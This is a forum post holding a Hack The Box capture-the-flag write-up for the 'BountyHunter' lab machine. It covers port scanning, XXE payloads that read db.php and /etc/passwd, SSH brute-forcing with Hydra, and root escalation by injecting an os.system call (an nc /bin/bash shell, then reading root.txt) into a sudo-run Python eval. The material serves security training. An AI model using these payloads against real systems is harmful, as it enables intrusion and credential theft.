Преминете към съдържанието

МЕУ организира кампания за пентестове в държавната администрация

Целта на кампанията е да подобри киберсигурността в държавната администрация, като участието в нея е доброволно и не се обвързва с възнаграждение.
Прочети повече за програмата

Добре дошли в Хакинг.БГ! 

Всеки един от нас стои на раменете на гигантите, споделили знанията и опита си с нас.

Този форум е нашият начин да върнем жеста за бъдещите и текущите кадри в киберсигурността.

Стремим се да предоставим платформа, където членовете могат да развиват своите умения, като се дава приоритет на етиката, сигурността и поверителността!

  • HTB - WriteUps



# Enumeration
#### nmap 
We've found two open ports: 22, 80.

# nmap -p- -sV -sC -oA bounty

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-04 05:02 EDT
Nmap scan report for
Host is up (0.049s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Port 80
The initial page presents us a couple of buttons:

* About

![[about us.png]]
* Contact

![[contact us.png]]

sending any type of message does not get through as a request but instead it goes to the beginning of the page.

* Portal

It is a bounty portal to submit information. It reflects the input - possible reflected xss ?

![[Pasted image 20210804121947.png]]

It says that the db is not ready....

#### nikto 
Nikto found an interesting php file called ***db.php*** . Maybe it has something in common with the db from the portal.

# nikto -h bounty.htb
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    bounty.htb
+ Target Port:        80
+ Start Time:         2021-08-04 05:06:04 (GMT-4)
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ 7786 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-08-04 05:13:45 (GMT-4) (461 seconds)

#### db.php
Tried changing the GET request to OPTIONS, PUT and POST but i always receive only 200 OK with no other information.

![[Pasted image 20210804122446.png]]

#### Dirbuster
Running dirbuster with default dirbuster wordlist discovered the following directories and files:


#### bounty.htb/resources/README.txt


[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

#### bounty.htb/resources/bountylog.js
From the code beneath we see that the variable and the input is actually xml. The only thing It comes to my mind is XXE. Let's go back to the portal and test.

function returnSecret(data) {
    return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
        let data = await returnSecret(btoa(xml));
    catch(error) {
        console.log('Error:', error);


#### Portal test for XXE

The following oneliner should send a connection to me if it works. In order for the application to understand the request, we need to encode it in base64 (ctrl+B in burp suite):
![[XXE test.png]]

And the test is successful:
![[XXE Successful.png]]

The following script is taken from (https://www.blackhillsinfosec.com/xml-external-entity-beyond-etcpasswd-fun-profit/)[blackhillsinfosec]  with a little edit, we write assign a variable *xml* with a value that will be executed once envoked from the developer console.

var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>

to Invoke  xml:


Copy the base64 and decode it to get the db file contents. It contains credentials.

Now extract the users from the system with the following script:

var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>


# returnSecret(btoa(xml;))

Move the users into a file and sort the contents:

# cut -d : -f 1 passwords > usrs

# Exploit
#### Hydra

# hydra -L usrs -p <password from db file> ssh


#### USER
SSH-ing into the machiine as the found user:credentials gives us user.

# Privilege Escalation
We have a ticket validator file that we can run as root with no password required, also we can run python3.8 (how convenient :D)```bash

$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

#### Ticket Validator Analysis
1. The ticket has to end with .md extension.
2. The contents of the file has to start with "# Skytrain Inc"
3. The following line has to point to destination as so: ## Ticket to 
4. the ticket code should start with: __Ticket Code:__
5. The code is looking for 2x star symbol ( ** ) to remove it and split at position 0 where the + is found. example: **102+```python

#Skytrain Inc Ticket Validation System 0.1                                                                                                                                                                                                   
#Do not distribute this file.                                                                                                                                                                                                                
def load_file(loc):                                                                                                                                                                                                                          
    if loc.endswith(".md"):                                                                                                                                                                                                                  
        return open(loc, 'r')                                                                                                                                                                                                                
        print("Wrong file type.")                                                                                                                                                                                                            
def evaluate(ticketFile):                                                                                                                                                                                                                    
    #Evaluates a ticket to check for ireggularities.                                                                                                                                                                                         
    code_line = None                                                                                                                                                                                                                         
    for i,x in enumerate(ticketFile.readlines()):                                                                                                                                                                                            
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


Ok let's write our own ticket.

The ticket has to complete the requirements in order to be executed. Then in the Ticket Code I decided to go with the example + a random number which equals to something that will return TRUE condition and used "and" to concatenate a system command that will spawn a reverse shell.


# Skytrain Inc
## Ticket to 
__Ticket Code:__
**102+7==109 and __import__('os').system('nc -nvlp 1234 -e "/bin/bash"') == False

it seems that the system has a version of nc that does not support the -e flag. Oh, well, we can still dump the flag.


$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
          [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
Invalid ticket.

Let's edit our ticket code.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**102+7==109 and __import__('os').system('cat /root/root.txt') == False

And execute the code:

$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
Invalid ticket.



Recommended Comments

Няма коментари

HACKING.BG Партньори


  • Създай ново...

Важна информация!

Политика за сигурност и условия на ползване Privacy Policy